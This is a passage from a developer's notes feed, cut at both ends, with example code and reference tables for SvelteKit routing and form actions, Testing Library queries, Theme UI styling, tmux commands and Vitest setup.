    .select(&apos;*&apos;)
    .eq(&apos;user_id&apos;, session.user.id)

  return { posts }
}

export const actions: Actions = {
  create: async ({ request, locals }) =&amp;gt; {
    const formData = await request.formData()
    const title = formData.get(&apos;title&apos;) as string

    if (!title) {
      return fail(400, { title, missing: true })
    }

    const { error } = await locals.supabase
      .from(&apos;posts&apos;)
      .insert({ title, user_id: locals.session?.user.id })

    if (error) {
      return fail(500, { message: error.message })
    }

    redirect(303, &apos;/posts&apos;)
  },
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;+page.ts&lt;/code&gt; (runs on server and client)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import type { PageLoad } from &apos;./$types&apos;

export const load: PageLoad = async ({ fetch, params }) =&amp;gt; {
  const response = await fetch(`/api/posts/${params.slug}`)
  const post = await response.json()
  return { post }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Using data in the page&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script lang=&quot;ts&quot;&amp;gt;
  import type { PageData } from &apos;./$types&apos;

  export let data: PageData
&amp;lt;/script&amp;gt;

&amp;lt;ul&amp;gt;
  {#each data.posts as post}
    &amp;lt;li&amp;gt;{post.title}&amp;lt;/li&amp;gt;
  {/each}
&amp;lt;/ul&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Layouts&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- +layout.svelte --&amp;gt;
&amp;lt;script lang=&quot;ts&quot;&amp;gt;
  import type { LayoutData } from &apos;./$types&apos;

  export let data: LayoutData
&amp;lt;/script&amp;gt;

&amp;lt;nav&amp;gt;
  &amp;lt;a href=&quot;/&quot;&amp;gt;Home&amp;lt;/a&amp;gt;
  &amp;lt;a href=&quot;/about&quot;&amp;gt;About&amp;lt;/a&amp;gt;
&amp;lt;/nav&amp;gt;

&amp;lt;slot /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Form actions&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- +page.svelte --&amp;gt;
&amp;lt;script lang=&quot;ts&quot;&amp;gt;
  import { enhance } from &apos;$app/forms&apos;
  import type { ActionData, PageData } from &apos;./$types&apos;

  export let data: PageData
  export let form: ActionData
&amp;lt;/script&amp;gt;

&amp;lt;form method=&quot;POST&quot; action=&quot;?/create&quot; use:enhance&amp;gt;
  &amp;lt;input name=&quot;title&quot; value={form?.title ?? &apos;&apos;} /&amp;gt;
  {#if form?.missing}
    &amp;lt;p class=&quot;error&quot;&amp;gt;Title is required&amp;lt;/p&amp;gt;
  {/if}
  &amp;lt;button type=&quot;submit&quot;&amp;gt;Create&amp;lt;/button&amp;gt;
&amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;API routes&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// src/routes/api/posts/+server.ts
import { json } from &apos;@sveltejs/kit&apos;
import type { RequestHandler } from &apos;./$types&apos;

export const GET: RequestHandler = async ({ url, locals }) =&amp;gt; {
  const limit = Number(url.searchParams.get(&apos;limit&apos;) ?? 10)
  const { data } = await locals.supabase.from(&apos;posts&apos;).select(&apos;*&apos;).limit(limit)
  return json(data)
}

export const POST: RequestHandler = async ({ request, locals }) =&amp;gt; {
  const body = await request.json()
  const { data, error } = await locals.supabase.from(&apos;posts&apos;).insert(body).select()

  if (error) {
    return json({ error: error.message }, { status: 500 })
  }

  return json(data, { status: 201 })
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Client-side only code&lt;/h2&gt;
&lt;p&gt;Use &lt;code&gt;$app/environment&lt;/code&gt; to check if code is running in the browser:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;
  import { onMount } from &apos;svelte&apos;
  import { browser } from &apos;$app/environment&apos;

  onMount(() =&amp;gt; {
    // This only runs in the browser
    document.querySelector(&apos;.test&apos;)
  })

  // Or check explicitly
  if (browser) {
    console.log(&apos;Running in browser&apos;)
  }
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Importing client-side libraries&lt;/h2&gt;
&lt;p&gt;For libraries that expect the DOM to be available:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;
  import { onMount } from &apos;svelte&apos;

  let Chart

  onMount(async () =&amp;gt; {
    const module = await import(&apos;chart.js&apos;)
    Chart = module.default

    // Use Chart here...
  })
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Hooks&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// src/hooks.server.ts
import type { Handle } from &apos;@sveltejs/kit&apos;

export const handle: Handle = async ({ event, resolve }) =&amp;gt; {
  // Run before every request
  const session = await getSession(event.cookies)
  event.locals.session = session

  const response = await resolve(event)
  return response
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Environment variables&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// Server-only (has access to private vars)
import { SECRET_KEY } from &apos;$env/static/private&apos;
import { env } from &apos;$env/dynamic/private&apos;

// Client-safe (only PUBLIC_ prefixed vars)
import { PUBLIC_API_URL } from &apos;$env/static/public&apos;
import { env } from &apos;$env/dynamic/public&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Preloading&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;
  import { preloadData } from &apos;$app/navigation&apos;
&amp;lt;/script&amp;gt;

&amp;lt;a
  href=&quot;/blog/my-post&quot;
  on:mouseenter={() =&amp;gt; preloadData(&apos;/blog/my-post&apos;)}
&amp;gt;
  Read post
&amp;lt;/a&amp;gt;

&amp;lt;!-- Or use data-sveltekit-preload-data --&amp;gt;
&amp;lt;a href=&quot;/blog/my-post&quot; data-sveltekit-preload-data=&quot;hover&quot;&amp;gt;
  Read post
&amp;lt;/a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>svelte</category><category>sveltekit</category><author>Zander Martineau</author></item><item><title>Testing library</title><link>https://zander.wtf/notes/testing-library/</link><guid isPermaLink="true">https://zander.wtf/notes/testing-library/</guid><description>Types of queries (docs) Single elements getBy...: Returns the matching node for a query, and throw a descriptive error if no elements match or if more than…</description><pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;Types of queries (&lt;a href=&quot;https://testing-library.com/docs/queries/about/#types-of-queries&quot;&gt;docs&lt;/a&gt;)&lt;/h3&gt;
&lt;h4&gt;Single elements&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;getBy...&lt;/code&gt;: Returns the matching node for a query, and throw a descriptive error if no elements match or if more than one match is found (use &lt;code&gt;getAllBy&lt;/code&gt; instead if more than one element is expected).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;queryBy...&lt;/code&gt;: Returns the matching node for a query, and return &lt;code&gt;null&lt;/code&gt; if no elements match. This is useful for asserting an element that is not present. Throws an error if more than one match is found (use &lt;code&gt;queryAllBy&lt;/code&gt; instead if this is OK).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;findBy...&lt;/code&gt;: Returns a Promise which resolves when an element is found which matches the given query. The promise is rejected if no element is found or if more than one element is found after a default timeout of 1000ms. If you need to find more than one element, use &lt;code&gt;findAllBy&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Multiple Elements&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;getAllBy...&lt;/code&gt;: Returns an array of all matching nodes for a query, and throws an error if no elements match.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;queryAllBy...&lt;/code&gt;: Returns an array of all matching nodes for a query, and return an empty array ([]) if no elements match.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;findAllBy...&lt;/code&gt;: Returns a promise which resolves to an array of elements when any elements are found which match the given query. The promise is rejected if no elements are found after a default timeout of 1000ms.
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;findBy&lt;/code&gt; methods are a combination of &lt;code&gt;getBy*&lt;/code&gt; queries and &lt;a href=&quot;https://testing-library.com/docs/dom-testing-library/api-async#waitfor&quot;&gt;&lt;code&gt;waitFor&lt;/code&gt;&lt;/a&gt;. They accept the &lt;code&gt;waitFor&lt;/code&gt; options as the last argument (i.e. &lt;code&gt;await screen.findByText(&apos;text&apos;, queryOptions, waitForOptions)&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Frameworks&lt;/h2&gt;
&lt;h3&gt;&lt;a href=&quot;https://testing-library.com/docs/react-testing-library/intro&quot;&gt;React&lt;/a&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;npm install --save-dev @testing-library/react
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;import { render, screen } from &apos;@testing-library/react&apos;
import userEvent from &apos;@testing-library/user-event&apos;
import Fetch from &apos;./fetch&apos;

test(&apos;loads and displays greeting&apos;, async () =&amp;gt; {
  // Setup userEvent instance (recommended over calling methods directly)
  const user = userEvent.setup()

  // ARRANGE
  render(&amp;lt;Fetch url=&quot;/greeting&quot; /&amp;gt;)

  // ACT
  await user.click(screen.getByText(&apos;Load Greeting&apos;))
  await screen.findByRole(&apos;heading&apos;)

  // ASSERT
  expect(screen.getByRole(&apos;heading&apos;)).toHaveTextContent(&apos;hello there&apos;)
  expect(screen.getByRole(&apos;button&apos;)).toBeDisabled()
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Common userEvent actions&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const user = userEvent.setup()

await user.click(element)
await user.dblClick(element)
await user.type(input, &apos;Hello World&apos;)
await user.clear(input)
await user.selectOptions(select, [&apos;option1&apos;, &apos;option2&apos;])
await user.keyboard(&apos;{Enter}&apos;)
await user.tab()
await user.hover(element)
await user.unhover(element)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a href=&quot;https://testing-library.com/docs/cypress-testing-library/intro&quot;&gt;Cypress&lt;/a&gt;&lt;/h3&gt;
&lt;h4&gt;Install&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;npm install --save-dev @testing-library/cypress
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add this line to your project&apos;s cypress/support/commands.js:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import &apos;@testing-library/cypress/add-commands&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;cy.findAllByText(&apos;Jackie Chan&apos;).click()
cy.findByText(&apos;Button Text&apos;).should(&apos;exist&apos;)
cy.findByText(&apos;Non-existing Button Text&apos;).should(&apos;not.exist&apos;)
cy.findByLabelText(&apos;Label text&apos;, { timeout: 7000 }).should(&apos;exist&apos;)

// findAllByText _inside_ a form element
cy.get(&apos;form&apos;).findByText(&apos;Button Text&apos;).should(&apos;exist&apos;)
cy.get(&apos;form&apos;).then((subject) =&amp;gt; {
  cy.findByText(&apos;Button Text&apos;, { container: subject }).should(&apos;exist&apos;)
})
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>testing</category><category>react</category><category>cypress</category><author>Zander Martineau</author></item><item><title>Theme UI</title><link>https://zander.wtf/notes/theme-ui/</link><guid isPermaLink="true">https://zander.wtf/notes/theme-ui/</guid><description>Theme spec https://theme-ui.com/theme-spec The sx prop With Theme UI v0.15+, you no longer need the JSX pragma. Just use the ThemeUIProvider: For…</description><pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Theme spec&lt;/h2&gt;
&lt;p&gt;https://theme-ui.com/theme-spec&lt;/p&gt;
&lt;h2&gt;The &lt;code&gt;sx&lt;/code&gt; prop&lt;/h2&gt;
&lt;p&gt;With Theme UI v0.15+, you no longer need the JSX pragma. Just use the &lt;code&gt;ThemeUIProvider&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { ThemeUIProvider } from &apos;theme-ui&apos;
import { theme } from &apos;./theme&apos;

const App = () =&amp;gt; (
  &amp;lt;ThemeUIProvider theme={theme}&amp;gt;
    &amp;lt;div sx={{ color: &apos;primary&apos;, bg: &apos;background&apos; }}&amp;gt;Hello&amp;lt;/div&amp;gt;
  &amp;lt;/ThemeUIProvider&amp;gt;
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For TypeScript, add to your &lt;code&gt;tsconfig.json&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;compilerOptions&quot;: {
    &quot;jsxImportSource&quot;: &quot;theme-ui&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Legacy JSX pragma (older versions)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/** @jsx jsx */
import { jsx } from &apos;theme-ui&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Packages and methods&lt;/h2&gt;
&lt;h3&gt;useThemeUI&lt;/h3&gt;
&lt;p&gt;https://theme-ui.com/use-theme-ui&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { useThemeUI } from &apos;theme-ui&apos;

export const MyComponent = () =&amp;gt; {
  const { theme, colorMode, setColorMode } = useThemeUI()
  return &amp;lt;pre&amp;gt;{JSON.stringify(theme, null, 2)}&amp;lt;/pre&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Using custom theme object values in &lt;code&gt;sx&lt;/code&gt; prop&lt;/h2&gt;
&lt;p&gt;Use the &lt;code&gt;variant&lt;/code&gt; key as documented &lt;a href=&quot;https://theme-ui.com/theme-spec#variants&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// your theme object
const theme = {
  motion: {
    defaultTransition: {
      transition: &apos;all 300ms ease-in-out&apos;,
    },
  },
}

// use the `variant` key
const Link = () =&amp;gt; &amp;lt;a sx={{ variant: &apos;motion.defaultTransition&apos; }}&amp;gt;Click me&amp;lt;/a&amp;gt;

// could also do this
const Link = () =&amp;gt; (
  &amp;lt;a sx={{ transition: (theme) =&amp;gt; theme.motion.defaultTransition.transition }}&amp;gt;
    Click me
  &amp;lt;/a&amp;gt;
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;@theme-ui/color&lt;/h3&gt;
&lt;p&gt;https://theme-ui.com/packages/color&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { darken, lighten } from &apos;@theme-ui/color&apos;

const Card = (props) =&amp;gt; (
  &amp;lt;div
    {...props}
    sx={{
      color: darken(&apos;primary&apos;, 0.25),
      bg: lighten(&apos;primary&apos;, 0.875),
    }}
  /&amp;gt;
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Using TypeScript&lt;/h2&gt;
&lt;h3&gt;Adding an sx prop to a custom component&lt;/h3&gt;
&lt;p&gt;This example allows a user to pass an &lt;code&gt;sx&lt;/code&gt; prop to a child component. In order to do that, you&apos;ll need an interface from &lt;code&gt;theme-ui&lt;/code&gt;: &lt;a&gt;&lt;code&gt;SxStyleProp&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import React, { FunctionComponent } from &apos;react&apos;
import { SxStyleProp } from &apos;theme-ui&apos;
import { Heading } from &apos;theme-ui&apos;

type HeadingTags = &apos;h1&apos; | &apos;h2&apos; | &apos;h3&apos; | &apos;h4&apos; | &apos;h5&apos; | &apos;h6&apos;

interface MassiveTitleProps {
  sx?: SxStyleProp
  as?: HeadingTags
}

export const MassiveTitle: FunctionComponent&amp;lt;MassiveTitleProps&amp;gt; = ({
  sx,
  as = &apos;h1&apos;,
  children,
}) =&amp;gt; {
  return (
    &amp;lt;Heading
      as={as}
      sx={{
        color: &apos;primary&apos;,
        ...sx,
      }}
    &amp;gt;
      {children}
    &amp;lt;/Heading&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Tips&lt;/h2&gt;
&lt;h3&gt;Object styles&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;https://theme-ui.com/guides/object-styles&lt;/li&gt;
&lt;li&gt;https://emotion.sh/docs/object-styles&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Reference the theme within&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;{
  mx: theme =&amp;gt; `-${theme.space[2]}`,
},
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;&lt;a href=&quot;https://theme-ui.com/guides/object-styles#pseudo-elements&quot;&gt;Pseudo elements&lt;/a&gt;&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;::before&quot;: {
    content: &apos;&quot;&quot;&apos;,
    display: &apos;block&apos;,
    width: 32,
    height: 32,
    backgroundColor: &apos;tomato&apos;,
  }
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>react</category><author>Zander Martineau</author></item><item><title>tmux</title><link>https://zander.wtf/notes/tmux/</link><guid isPermaLink="true">https://zander.wtf/notes/tmux/</guid><description>| Command | Description | | ----------------------------- | ------------------------------------------- | | tmux | Start a new session | | tmux new -s |…</description><pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tmux&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Start a new session&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tmux new -s &amp;lt;name&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Start a new session with a name&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tmux ls&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;List all sessions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tmux attach -t &amp;lt;name&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Attach to a named session&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tmux kill-session -t &amp;lt;name&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Kill a named session&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tmux kill-session -a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Kill all sessions except current&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tmux kill-server&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Kill the tmux server and all sessions&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Key Bindings (prefix: &lt;code&gt;Ctrl+b&lt;/code&gt;)&lt;/h2&gt;
&lt;h3&gt;Sessions&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Key&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;d&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Detach from session&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;$&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Rename current session&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;s&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;List/switch sessions interactively&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;(&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Move to previous session&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Move to next session&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Windows&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Key&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;c&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Create a new window&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;n&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Move to next window&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;p&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Move to previous window&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;w&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;List windows&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;f&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Find window by name&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;,&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Rename current window&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Kill current window&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0-9&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Switch to window by number&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Panes&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Key&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;%&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Split pane vertically&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Split pane horizontally&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;o&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Move to next pane&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;q&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Show pane numbers (type number to jump)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;x&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Kill current pane&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;z&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Toggle pane zoom (fullscreen)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;!&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Convert pane to window&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;{&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Move pane left&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Move pane right&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Space&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Cycle through pane layouts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Ctrl+↑/↓/←/→&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Resize pane in direction&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Copy Mode&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Key&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Enter copy mode (scroll/search)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Paste buffer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Search forward (in copy mode)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;?&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Search backward (in copy mode)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Misc&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Key&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;?&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;List all key bindings&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;t&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Show clock&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Enter command mode&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Useful Commands&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:setw synchronize-panes&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Toggle sending input to all panes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:resize-pane -D 10&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Resize pane down by 10 cells&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:source-file ~/.tmux.conf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Reload tmux config&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Config Snippets (&lt;code&gt;~/.tmux.conf&lt;/code&gt;)&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# Enable mouse support
set -g mouse on

# 256 color support
set -g default-terminal &quot;screen-256color&quot;

# Reload config with prefix + r
bind r source-file ~/.tmux.conf \; display &quot;Reloaded!&quot;

# Vi mode for copy
setw -g mode-keys vi
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>cli</category><author>Zander Martineau</author></item><item><title>Vitest</title><link>https://zander.wtf/notes/vitest/</link><guid isPermaLink="true">https://zander.wtf/notes/vitest/</guid><description>vitest.config.ts Vitest can share your Vite config, or you can create a dedicated config. vitest.setup.ts With @testing-library/jest-dom The modern way to…</description><pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;&lt;code&gt;vitest.config.ts&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Vitest can share your Vite config, or you can create a dedicated config.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// vitest.config.ts
import { defineConfig } from &apos;vitest/config&apos;
import react from &apos;@vitejs/plugin-react&apos;
import tsconfigPaths from &apos;vite-tsconfig-paths&apos;

export default defineConfig({
  plugins: [react(), tsconfigPaths()],
  test: {
    environment: &apos;happy-dom&apos;, // or &apos;jsdom&apos;
    globals: true,
    setupFiles: [&apos;./vitest.setup.ts&apos;],
    include: [&apos;**/*.{test,spec}.{js,ts,jsx,tsx}&apos;],
    coverage: {
      provider: &apos;v8&apos;,
      reporter: [&apos;text&apos;, &apos;html&apos;],
    },
  },
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;code&gt;vitest.setup.ts&lt;/code&gt;&lt;/h2&gt;
&lt;h3&gt;With &lt;code&gt;@testing-library/jest-dom&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The modern way to set up jest-dom matchers:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import &apos;@testing-library/jest-dom/vitest&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&apos;s it! The package auto-extends Vitest&apos;s &lt;code&gt;expect&lt;/code&gt; when you import it.&lt;/p&gt;
&lt;h3&gt;Additional setup&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import &apos;@testing-library/jest-dom/vitest&apos;

// Mock matchMedia if needed
